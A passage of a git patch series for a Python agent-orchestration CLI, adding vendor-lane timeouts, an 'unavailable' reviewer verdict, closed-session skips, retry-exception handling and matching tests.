int(task.get("current_round") or 0): die("agent round is not the current round") if task.get("state") != "implementing": @@ -986,7 +986,7 @@ def cmd_agent(args: list[str]) -> None: elif role == "reviewer": # unavailable already handled by the early return above. if verdict not in ("approved", "rejected"): - die("reviewer verdict must be approved|rejected") + die("reviewer verdict must be approved|rejected|unavailable") if agent.get("round") != int(task.get("current_round") or 0): die("agent round is not the current round") if task.get("state") != "reviewing": @@ -1007,7 +1007,7 @@ def cmd_agent(args: list[str]) -> None: elif role in ("pr-reviewer-quality", "pr-reviewer-logic"): # unavailable already handled by the early return above. if verdict not in ("approved", "rejected"): - die("pr-reviewer verdict must be approved|rejected") + die("pr-reviewer verdict must be approved|rejected|unavailable") _require_owned(store, task, "task") else: die(f"unknown agent role: {role}") diff --git a/src/agent_cli/skills/pr-review/SKILL.md b/src/agent_cli/skills/pr-review/SKILL.md index 94c0f89..de4e755 100644 --- a/src/agent_cli/skills/pr-review/SKILL.md +++ b/src/agent_cli/skills/pr-review/SKILL.md @@ -56,6 +56,9 @@ Review lanes execute no software (no tests, builds, or servers). context, and it buries the finding it is printed next to. - If a vendor cannot run, abort loudly. Do not record `approved`. Do not substitute another vendor. +- `unavailable` → neutral release for that case: clears the `working` agent + row, does not record `approved`, does not affect gate/checklist/round state; + a later scan retries. Zero findings only after an explicit complete pass. Empty, partial, timeout, or unavailable output is not zero findings. diff --git a/src/agent_cli/skills/review-loop/SKILL.md b/src/agent_cli/skills/review-loop/SKILL.md index 2c12be5..88f0964 100644 --- a/src/agent_cli/skills/review-loop/SKILL.md +++ b/src/agent_cli/skills/review-loop/SKILL.md @@ -27,6 +27,9 @@ agent agent finish --id --verdict approved|rejected - Implementer `blocked` → task `failed`. Stop. - Reviewer `rejected` → new round (`agent round start`). - Reviewer `approved` → close `reviewer_approved` and continue the spine. +- Either role `--verdict unavailable` → vendor CLI unreachable: neutral release + that clears the `working` agent row with no task/round state change, so a + later retry is unblocked. The reviewer is read-only: no tests, builds, or servers. diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index caa07d2..e4403d0 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -3237,6 +3237,15 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] ] assert len(pr_agents) >= 2, f"expected both grok PR agent rows, got {pr_agents}" assert not any(a.get("status") == "working" for a in pr_agents), pr_agents + gates = _gates(tmp_path, tid) + approved_logic = [ + g + for g in gates + if g.get("stage") == "grok-pr" + and g.get("dimension") == "logic" + and g.get("verdict") == "approved" + ] + assert approved_logic, f"expected approved gate for logic, got {gates}" def test_parallel_pr_pair_prepare_exception_releases_first_agent( @@ -3543,3 +3552,9 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] assert _task_state(tmp_path, tid) == "implementing" agents = _agents(tmp_path, tid) assert not any(a.get("status") == "working" for a in agents), agents + spec_text = (tmp_path / "error-fix-specs" / tid / ".spec.md").read_text( + encoding="utf-8" + ) + assert "# Prior Rejection Feedback" in spec_text + assert findings_marker in spec_text + assert spec_text.count("## grok_pr_quality") == 1 From 5b5abfd148051ea9c70a6509a21843c2ecdeed93 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 23:53:16 -0300 Subject: [PATCH 25/47] Fix a comment that misdescribed _first_sentence's punctuation handling. The comment claimed the function always includes terminal punctuation except in the empty-input case; it actually only does so when a real sentence-boundary match is found, and returns unpunctuated text as-is otherwise -- as the function's own existing test already demonstrates. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/fixer_act.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 1729b39..9ec41e2 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -177,8 +177,10 @@ def template_pr_open_payload( suffix = suffix[:69] + "..." title = f"{session_id[:8]} - {suffix}" brief_summary = _first_sentence(brief).splitlines()[0].strip() if brief else "" - # _first_sentence already includes terminal punctuation when non-empty; - # only the empty fallback needs a period baked into the literal. + # _first_sentence preserves the source's own terminal punctuation only + # when a sentence-boundary match is found; text with no .!? at all comes + # back unchanged, with nothing added. The empty-fallback literal already + # ends in a period regardless. brief_part = brief_summary[:200] if brief_summary else "see task spec." brief_part_de = brief_summary[:200] if brief_summary else "siehe Task-Spec." en = ( From 40ffb29eeb83ce1469201d66a1fa32593aa395c0 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 00:55:15 -0300 Subject: [PATCH 26/47] Stop _drive_one from acting on error-fix tasks whose session closed. pushed=ja with a closed session could still trigger scan_github / insert_pr_open_and_scan, bypassing the session-active invariant every other write path enforces via _require_task_session_active. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/fixer_act.py | 5 +++ tests/test_fixer_act.py | 75 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 80 insertions(+) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 9ec41e2..0288372 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -979,6 +979,11 @@ def _drive_one( snap = main_mod._chain_snapshot(store, tid, extra_head=head) if not is_error_fix_originated(snap): return f"error-fix-work {tid} skip (not error-fix)" + # Closed sessions must not trigger GitHub/git side effects. Mirror + # main._require_task_session_active without failing the task — a + # closed session is a skip for this scan, not a task failure. + if not snap.get("session_active"): + return f"error-fix-work {tid} skip (session inactive)" snap_head = str(snap.get("head_sha") or "").strip() if snap_head and not head: head = snap_head diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index e4403d0..60074e3 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -732,6 +732,81 @@ def boom(*args, **kwargs): # type: ignore[no-untyped-def] store.close() +def test_drive_one_skips_github_when_session_inactive( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Closed session + pushed=ja must not call scan_github / insert_pr_open_and_scan. + + Round 51: _drive_one gated only on is_error_fix_originated and never checked + session_active, so a task whose session was closed after pushed=ja could still + open/scan GitHub PRs — bypassing the session-active invariant every other + write path enforces via _require_task_session_active. + """ + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: ( + "abcdef1234567890abcdef1234567890abcdef12" + ), + ) + run(tmp_path, ["run", "--task", tid]) + capsys.readouterr() + assert _checklist(tmp_path, tid)["pushed"] == "ja" + + store = _store(tmp_path) + try: + session = store.row("session", "sess-1") + assert session is not None + session["status"] = "closed" + store.write( + "session", + "update", + "sess-1", + {k: v for k, v in session.items() if not str(k).startswith("_")}, + ) + finally: + store.close() + + github_calls: list[str] = [] + + def boom_insert(*args, **kwargs): # type: ignore[no-untyped-def] + github_calls.append("insert_pr_open_and_scan") + raise AssertionError("insert_pr_open_and_scan must not run for inactive session") + + def boom_scan(*args, **kwargs): # type: ignore[no-untyped-def] + github_calls.append("scan_github") + raise AssertionError("scan_github must not run for inactive session") + + monkeypatch.setattr("agent_cli.fixer_act.insert_pr_open_and_scan", boom_insert) + monkeypatch.setattr("agent_cli.github_act.scan_github", boom_scan) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + result = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert "skip" in result + assert "session inactive" in result + assert github_calls == [] + store = _store(tmp_path) + try: + assert not _pr_open_row_exists( + store, head=f"error-fix-{ERROR_ID[:8]}", repo="org/app" + ) + finally: + store.close() + + def test_fixer_threads_pushed_head_into_pr_gate( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: From fe5a19093b3e495b5012dff6ce0e1c6f311928c0 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 00:55:31 -0300 Subject: [PATCH 27/47] Guard retry-phase exceptions in _drive_parallel_pr_pair's finish loop too. Round 48 only deferred launch-phase exceptions sitting in launch_results. An OSError raised by complete_spine_agent_step's own retry (re-invoking launch synchronously) still propagated straight out of the unguarded loop body, letting the outer except discard a later sibling's already-recorded LaneResult as "unavailable". Wrap each call individually, keep processing every remaining item, and only release/raise the captured exception after the loop finishes. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/fixer_act.py | 50 ++++++++--- tests/test_fixer_act.py | 168 +++++++++++++++++++++++++++++++++++++ 2 files changed, 207 insertions(+), 11 deletions(-) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 0288372..85dad8a 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -864,6 +864,9 @@ def _drive_parallel_pr_pair( launch_results[plan.step.key] = exc pending_exception: BaseException | None = None + # Plan whose complete_spine_agent_step raised (retry-phase); launch- + # phase exceptions already release their agent row in-loop below. + pending_exception_plan: AgentLaunchPlan | None = None for item in prepared: if isinstance(item, RunOutcome): outcomes.append(item) @@ -894,19 +897,44 @@ def _drive_parallel_pr_pair( if pending_exception is None: pending_exception = payload continue - outcome = complete_spine_agent_step( - store, - tid, - plan, - payload, - round_cap=round_cap, - tmux=False, - runner=lane_runner, - exec_argv=exec_argv, - defer_round_start=True, - ) + # Guard retry-phase exceptions the same way as launch-phase ones: + # keep finishing every remaining genuine LaneResult before raising. + try: + outcome = complete_spine_agent_step( + store, + tid, + plan, + payload, + round_cap=round_cap, + tmux=False, + runner=lane_runner, + exec_argv=exec_argv, + defer_round_start=True, + ) + except BaseException as exc: # noqa: BLE001 — surface after siblings + if pending_exception is None: + pending_exception = exc + pending_exception_plan = plan + continue outcomes.append(outcome) if pending_exception is not None: + if pending_exception_plan is not None: + working = main_mod._find_working_agent( + store, + tid, + role=pending_exception_plan.role, + vendor=pending_exception_plan.vendor, + round_num=pending_exception_plan.round_num, + ) + if working is not None: + _agent_finish( + str(working["id"]), + "unavailable", + note=( + f"launch failed ({pending_exception_plan.role} " + f"{pending_exception_plan.vendor})" + ), + ) raise pending_exception if _batch_should_round_start(outcomes): _round_start(tid) diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 60074e3..b00603b 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -3321,6 +3321,162 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] and g.get("verdict") == "approved" ] assert approved_logic, f"expected approved gate for logic, got {gates}" + assert len(approved_logic) == 1, f"sibling gate must be recorded exactly once: {gates}" + + +@pytest.mark.parametrize( + "reverse_pair,retry_fail_role,sibling_role,sibling_verdict", + [ + (False, "pr-reviewer-quality", "pr-reviewer-logic", "approved"), + (True, "pr-reviewer-quality", "pr-reviewer-logic", "approved"), + (False, "pr-reviewer-logic", "pr-reviewer-quality", "approved"), + (True, "pr-reviewer-logic", "pr-reviewer-quality", "approved"), + (False, "pr-reviewer-quality", "pr-reviewer-logic", "rejected"), + (True, "pr-reviewer-quality", "pr-reviewer-logic", "rejected"), + (False, "pr-reviewer-logic", "pr-reviewer-quality", "rejected"), + (True, "pr-reviewer-logic", "pr-reviewer-quality", "rejected"), + ], + ids=[ + "quality-first-quality-retry-oserror-logic-approved", + "logic-first-quality-retry-oserror-logic-approved", + "quality-first-logic-retry-oserror-quality-approved", + "logic-first-logic-retry-oserror-quality-approved", + "quality-first-quality-retry-oserror-logic-rejected", + "logic-first-quality-retry-oserror-logic-rejected", + "quality-first-logic-retry-oserror-quality-rejected", + "logic-first-logic-retry-oserror-quality-rejected", + ], +) +def test_parallel_pr_pair_retry_oserror_preserves_sibling_result( + tmp_path: Path, + capsys: pytest.CaptureFixture[str], + monkeypatch: pytest.MonkeyPatch, + reverse_pair: bool, + retry_fail_role: str, + sibling_role: str, + sibling_verdict: str, +) -> None: + """Retry-phase OSError must not discard a sibling's already-available result. + + Round 48 guarded launch-phase exceptions sitting in launch_results; it did + not guard OSError raised from complete_spine_agent_step → _lane_retry_then_fail + mid-loop. Both pair orderings × approved/rejected sibling must persist the + sibling gate (and rejection feedback) exactly once. + """ + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + _patch_pr_pair_order(monkeypatch, reverse=reverse_pair) + + pushed_sha = "d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0" + findings_marker = "RETRY_OSERROR_SIBLING_REJECT_marker" + retry_launches = {"n": 0} + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "") + vendor = str(kwargs.get("vendor") or "grok") + if role == retry_fail_role and vendor == "grok": + retry_launches["n"] += 1 + if retry_launches["n"] == 1: + # Ambiguous: STATUS complete, no FINDINGS → retry path. + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\n", + stderr="", + ) + raise OSError("No such file or directory: 'grok'") + if role == sibling_role and vendor == "grok": + if sibling_verdict == "rejected": + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout=f"STATUS: complete\nFINDINGS:\n- {findings_marker}\n", + stderr="", + ) + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: pushed_sha, + ) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr( + "agent_cli.fixer_act._runner_to_completed", _pr_pair_rtc(pushed_sha) + ) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + result = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert "vendor-cli-unavailable" in result + assert "OSError" in result + assert retry_launches["n"] == 2 # initial ambiguous + retry that raises + agents = _agents(tmp_path, tid) + assert not any(a.get("status") == "working" for a in agents), agents + + sibling_dim = "logic" if sibling_role.endswith("logic") else "quality" + gates = _gates(tmp_path, tid) + sibling_gates = [ + g + for g in gates + if g.get("stage") == "grok-pr" + and g.get("dimension") == sibling_dim + and g.get("verdict") == sibling_verdict + ] + assert sibling_gates, ( + f"expected {sibling_verdict} gate for {sibling_dim}, got {gates}" + ) + assert len(sibling_gates) == 1, ( + f"sibling gate must be recorded exactly once: {sibling_gates}" + ) + + if sibling_verdict == "rejected": + spec_text = (tmp_path / "error-fix-specs" / tid / ".spec.md").read_text( + encoding="utf-8" + ) + assert "# Prior Rejection Feedback" in spec_text + assert findings_marker in spec_text + reject_key = ( + "grok_pr_logic" if sibling_role == "pr-reviewer-logic" else "grok_pr_quality" + ) + assert spec_text.count(f"## {reject_key}") == 1 def test_parallel_pr_pair_prepare_exception_releases_first_agent( @@ -3633,3 +3789,15 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] assert "# Prior Rejection Feedback" in spec_text assert findings_marker in spec_text assert spec_text.count("## grok_pr_quality") == 1 + + gates = _gates(tmp_path, tid) + rejected_quality = [ + g + for g in gates + if g.get("stage") == "grok-pr" + and g.get("dimension") == "quality" + and g.get("verdict") == "rejected" + ] + assert len(rejected_quality) == 1, ( + f"rejection gate must be recorded exactly once: {gates}" + ) From b01fa078deaecb755eeb68e48a816c99e8bb917f Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 00:55:37 -0300 Subject: [PATCH 28/47] Enforce a deadline on the vendor CLI subprocess in lane.py. _default_runner had no timeout= and _run_in_tmux polled pane_dead unbounded, so a hung vendor CLI held store.exclusive()'s process-wide lock indefinitely, starving every other Store operation in the process. Add VENDOR_RUN_TIMEOUT_SEC (1800s), kill the process group / tmux pane on expiry, and surface returncode 124 (parse_status's existing external-timeout convention). Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/lane.py | 52 ++++++++++++++++++++++--- tests/test_lane.py | 89 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 136 insertions(+), 5 deletions(-) diff --git a/src/agent_cli/lane.py b/src/agent_cli/lane.py index 570433e..abc98ec 100644 --- a/src/agent_cli/lane.py +++ b/src/agent_cli/lane.py @@ -5,6 +5,7 @@ import os import re import resource +import signal import subprocess import tempfile import time @@ -19,6 +20,9 @@ GROK_LANE_MODEL = "grok-4.5" CODEX_LANE_MODEL = "gpt-5.6-sol" NPROC_CAP = 800 +# Wall-clock cap for a single vendor CLI invocation (direct or tmux-held). +# Large codex-pr diffs have been observed near 1500–1800s; keep headroom. +VENDOR_RUN_TIMEOUT_SEC = 1800 GROK_STRIP_ENV = ("ANTHROPIC_API_KEY", "CLAUDECODE", "CLAUDE_CODE_ENTRYPOINT") STATUS_VALUES = ("complete", "partial", "timeout", "unavailable") @@ -245,21 +249,51 @@ def parse_status(output: str, returncode: int) -> str: return matched if matched is not None else "partial" -def _default_runner(argv: list[str], stdin_text: str | None) -> subprocess.CompletedProcess[str]: +def _default_runner( + argv: list[str], + stdin_text: str | None, + *, + timeout: float | None = None, +) -> subprocess.CompletedProcess[str]: def _preexec() -> None: + # Own process group so a timeout can SIGKILL the whole tree. + os.setsid() try: resource.setrlimit(resource.RLIMIT_NPROC, (NPROC_CAP, NPROC_CAP)) except (ValueError, OSError, AttributeError): raise SystemExit("nproc cap not settable") from None - return subprocess.run( + limit = VENDOR_RUN_TIMEOUT_SEC if timeout is None else timeout + proc = subprocess.Popen( # noqa: S603 argv, - input=stdin_text, - capture_output=True, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, text=True, - check=False, preexec_fn=_preexec, ) + try: + stdout, stderr = proc.communicate(input=stdin_text, timeout=limit) + except subprocess.TimeoutExpired: + try: + os.killpg(proc.pid, signal.SIGKILL) + except (ProcessLookupError, PermissionError, OSError): + try: + proc.kill() + except OSError: + pass + try: + stdout, stderr = proc.communicate() + except OSError: + stdout, stderr = "", "" + # returncode 124 matches parse_status's external-timeout convention. + return subprocess.CompletedProcess(argv, 124, stdout or "", stderr or "") + return subprocess.CompletedProcess( + argv, + proc.returncode if proc.returncode is not None else 1, + stdout or "", + stderr or "", + ) def _tmux_call(argv: list[str]) -> subprocess.CompletedProcess[str]: @@ -272,8 +306,10 @@ def _run_in_tmux( name: str, cwd: str, stdin_text: str | None, + timeout: float | None = None, ) -> subprocess.CompletedProcess[str]: """Hold the vendor process in tmux, wait for the pane to die, capture output.""" + limit = VENDOR_RUN_TIMEOUT_SEC if timeout is None else timeout wrap = tmux_wrap_argv(inner, name=name, cwd=cwd) created = _tmux_call(wrap) if created.returncode != 0: @@ -292,6 +328,7 @@ def _run_in_tmux( if eof.returncode != 0: _tmux_call(["tmux", "kill-session", "-t", name]) return eof + deadline = time.monotonic() + limit while True: dead = _tmux_call(["tmux", "display-message", "-p", "-t", name, "#{pane_dead}"]) if dead.returncode != 0: @@ -301,6 +338,11 @@ def _run_in_tmux( ) if dead.stdout.strip() == "1": break + if time.monotonic() >= deadline: + _tmux_call(["tmux", "kill-session", "-t", name]) + return subprocess.CompletedProcess( + wrap, 124, "", "vendor lane timed out" + ) time.sleep(0.2) status = _tmux_call(["tmux", "display-message", "-p", "-t", name, "#{pane_dead_status}"]) returncode = 1 diff --git a/tests/test_lane.py b/tests/test_lane.py index 2fc41fb..20d0e1c 100644 --- a/tests/test_lane.py +++ b/tests/test_lane.py @@ -1,5 +1,7 @@ from __future__ import annotations +import threading +import time from dataclasses import dataclass from pathlib import Path from subprocess import CompletedProcess @@ -7,9 +9,11 @@ import pytest +import agent_cli.lane as lane_mod from agent_cli.lane import ( GROK_STRIP_ENV, LaneResult, + _default_runner, _run_in_tmux, codex_argv, count_findings, @@ -678,6 +682,91 @@ def handler(argv: list[str], _calls: list[list[str]]) -> CompletedProcess[str]: assert any("kill-session" in c for c in calls) +def test_default_runner_timeout_returns_124_and_releases_lock( + monkeypatch: pytest.MonkeyPatch, +) -> None: + """Hung vendor CLI must surface returncode 124 rather than block forever. + + Round 51: _default_runner had no timeout=, so a stalled vendor process held + drive_error_fix_tasks' store.exclusive() (process-wide RLock) indefinitely. + Mirror that hold with a local RLock around the runner call and assert a + subsequent acquire still succeeds after the timeout path returns. + """ + monkeypatch.setattr(lane_mod, "VENDOR_RUN_TIMEOUT_SEC", 0.3) + lock = threading.RLock() + t0 = time.monotonic() + with lock: + result = _default_runner(["sleep", "30"], None) + elapsed = time.monotonic() - t0 + assert elapsed < 5.0, f"timeout path took too long: {elapsed:.2f}s" + assert result.returncode == 124 + # parse_status's external-timeout convention. + assert parse_status(result.stdout or "", result.returncode) == "timeout" + + acquired = {"ok": False} + + def try_acquire() -> None: + if lock.acquire(timeout=1.0): + acquired["ok"] = True + lock.release() + + thread = threading.Thread(target=try_acquire) + thread.start() + thread.join(timeout=2.0) + assert not thread.is_alive() + assert acquired["ok"], "lock held around runner must be released after timeout" + + +def test_run_in_tmux_timeout_kills_session(monkeypatch: pytest.MonkeyPatch) -> None: + """Unbounded pane_dead polling must stop at VENDOR_RUN_TIMEOUT_SEC.""" + monkeypatch.setattr(lane_mod, "VENDOR_RUN_TIMEOUT_SEC", 0.4) + ticks = {"n": 0} + + def handler(argv: list[str], _calls: list[list[str]]) -> CompletedProcess[str]: + if argv[-1] == "#{pane_dead}": + ticks["n"] += 1 + # Never becomes dead — deadline must fire. + return CompletedProcess(argv, 0, "0\n", "") + if "kill-session" in argv: + return CompletedProcess(argv, 0, "", "") + return CompletedProcess(argv, 0, "", "") + + fake, calls = _tmux_script(handler) + monkeypatch.setattr("agent_cli.lane._tmux_call", fake) + t0 = time.monotonic() + result = _run_in_tmux(["grok"], name="agent-lane-t", cwd="/w", stdin_text=None) + elapsed = time.monotonic() - t0 + assert elapsed < 5.0, f"tmux timeout path took too long: {elapsed:.2f}s" + assert result.returncode == 124 + assert any("kill-session" in c for c in calls) + assert ticks["n"] >= 1 + + +def test_launch_direct_runner_timeout_status( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + """launch(tmux=False) must return LaneResult(status='timeout') on deadline.""" + monkeypatch.setattr(lane_mod, "VENDOR_RUN_TIMEOUT_SEC", 0.3) + monkeypatch.setattr( + "agent_cli.lane.grok_argv", + lambda **kwargs: ["sleep", "30"], + ) + spec = tmp_path / "spec.md" + spec.write_text("review this\n", encoding="utf-8") + t0 = time.monotonic() + result = launch( + role="reviewer", + vendor="grok", + spec_file=str(spec), + cwd=str(tmp_path), + tmux=False, + ) + elapsed = time.monotonic() - t0 + assert elapsed < 5.0, f"launch timeout path took too long: {elapsed:.2f}s" + assert result.status == "timeout" + assert result.returncode == 124 + + def test_cli_lane_run_prints_vendor_stdout( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: From d8539d21734bb1bb2e0ef295afbb5b62932952b8 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 00:55:43 -0300 Subject: [PATCH 29/47] Strip service/environment in fingerprint() to match consumer normalization. validate_conclusion strips the incoming fingerprint via _nonempty_str before comparing it to the stored value, but the producer never normalized service/environment before concatenating them. Leading or trailing whitespace in a log source's service field produced a stored fingerprint that a legitimately matching conclusion would then fail to match. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/errors.py | 4 +++- tests/test_errors.py | 26 ++++++++++++++++++++++++++ 2 files changed, 29 insertions(+), 1 deletion(-) diff --git a/src/agent_cli/errors.py b/src/agent_cli/errors.py index 85d1147..9836312 100644 --- a/src/agent_cli/errors.py +++ b/src/agent_cli/errors.py @@ -185,7 +185,9 @@ def redact(text: str) -> str: def fingerprint(*, service: str, error_class: str, stack_sig: str, environment: str) -> str: - return f"{service}|{error_class}|{stack_sig}|{environment}" + # Strip service/environment so stored fingerprints match consumers that + # normalize via _nonempty_str (whole-string .strip()) before compare. + return f"{service.strip()}|{error_class}|{stack_sig}|{environment.strip()}" def line_fingerprint(*, server: str, container: str, line: str) -> str: diff --git a/tests/test_errors.py b/tests/test_errors.py index 04b0b6c..343072c 100644 --- a/tests/test_errors.py +++ b/tests/test_errors.py @@ -170,6 +170,32 @@ def test_redact_and_fingerprint() -> None: assert fp.endswith("|prod") +def test_fingerprint_strips_service_and_environment_whitespace() -> None: + """Producer must normalize service/environment the same way consumers strip. + + validate_conclusion compares via _nonempty_str (whole-string .strip()) against + the stored fingerprint. Leading/trailing whitespace in service or environment + at construction time must not create a stored value that then mismatches. + """ + padded = fingerprint( + service=" api ", + error_class="TimeoutError", + stack_sig="abc123def4567890", + environment=" prod ", + ) + clean = fingerprint( + service="api", + error_class="TimeoutError", + stack_sig="abc123def4567890", + environment="prod", + ) + assert padded == clean + assert padded == "api|TimeoutError|abc123def4567890|prod" + # Consumer-side strip of a whitespace-padded fingerprint input matches. + assert padded == clean.strip() + assert " api ".strip() + "|TimeoutError|abc123def4567890|" + " prod ".strip() == padded + + def test_scan_inserts_once_then_enriches(tmp_path: Path) -> None: store = Store(tmp_path) _runner_session(store) From 160a4e29c786eb496e941469566d687e9f50d717 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 00:55:49 -0300 Subject: [PATCH 30/47] Type ExecArgv as a Protocol instead of Callable[..., Any]. Matches this repo's established convention for the same concept (git_act.py's Runner = Callable[[list[str]], Completed]) and gives the 9 call sites a static guarantee for exec_argv(argv, cwd=cwd)'s .returncode/.stdout shape. Type-only change, no behavior change. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/run_core.py | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index 8a94695..0b77688 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -10,10 +10,9 @@ import os import shlex -from collections.abc import Callable from dataclasses import dataclass, field from pathlib import Path -from typing import Any +from typing import Any, Protocol from .chain import NO_AUTO_CLOSE, Step, close_allowed, is_error_fix_originated, next_steps from .git_act import _SHA_RE @@ -26,6 +25,7 @@ launch, Runner as LaneRunner, ) +from .runtime import Completed from .store import Store DEFAULT_ROUND_CAP = 5 @@ -47,7 +47,14 @@ "NOT-VERIFIABLE: [...]\n" "GAPS: [...]" ) -ExecArgv = Callable[..., Any] + + +class ExecArgv(Protocol): + """Callable that runs argv and returns a Completed-like result.""" + + def __call__( + self, argv: list[str], *, cwd: str | None = None + ) -> Completed: ... def _fence_marker(text: str) -> str: From 9794935bb55e88e3642db3ebfb4e263d3636d260 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 02:14:46 -0300 Subject: [PATCH 31/47] Replace preexec_fn with start_new_session in the vendor CLI runner. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit _default_runner called Popen(..., preexec_fn=_preexec) from ThreadPoolExecutor worker threads. preexec_fn runs arbitrary Python between fork() and exec(); in a multithreaded parent only the calling thread survives the fork, so a lock held by a sibling thread at fork time (including CPython's own internal locks) is copied locked into the child and can never be released there, hanging Popen() itself before the timeout path is ever reached. Use start_new_session=True instead — the built-in, signal-safe setsid() equivalent with no post-fork Python. Drop the RLIMIT_NPROC cap the old preexec_fn also set: no test or runtime behavior depends on it, and it was defense-in-depth on top of the killpg-based timeout kill, which stays intact. Also bound the post-SIGKILL reap call with its own short timeout so a detached grandchild still holding the pipes open can't block it forever. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/lane.py | 18 +++++------------- tests/test_lane.py | 20 ++++++++++++++++++++ 2 files changed, 25 insertions(+), 13 deletions(-) diff --git a/src/agent_cli/lane.py b/src/agent_cli/lane.py index abc98ec..a8b3df0 100644 --- a/src/agent_cli/lane.py +++ b/src/agent_cli/lane.py @@ -4,7 +4,6 @@ import os import re -import resource import signal import subprocess import tempfile @@ -19,7 +18,6 @@ WRITE_ROLES = frozenset({"implementer"}) GROK_LANE_MODEL = "grok-4.5" CODEX_LANE_MODEL = "gpt-5.6-sol" -NPROC_CAP = 800 # Wall-clock cap for a single vendor CLI invocation (direct or tmux-held). # Large codex-pr diffs have been observed near 1500–1800s; keep headroom. VENDOR_RUN_TIMEOUT_SEC = 1800 @@ -255,22 +253,16 @@ def _default_runner( *, timeout: float | None = None, ) -> subprocess.CompletedProcess[str]: - def _preexec() -> None: - # Own process group so a timeout can SIGKILL the whole tree. - os.setsid() - try: - resource.setrlimit(resource.RLIMIT_NPROC, (NPROC_CAP, NPROC_CAP)) - except (ValueError, OSError, AttributeError): - raise SystemExit("nproc cap not settable") from None - limit = VENDOR_RUN_TIMEOUT_SEC if timeout is None else timeout + # 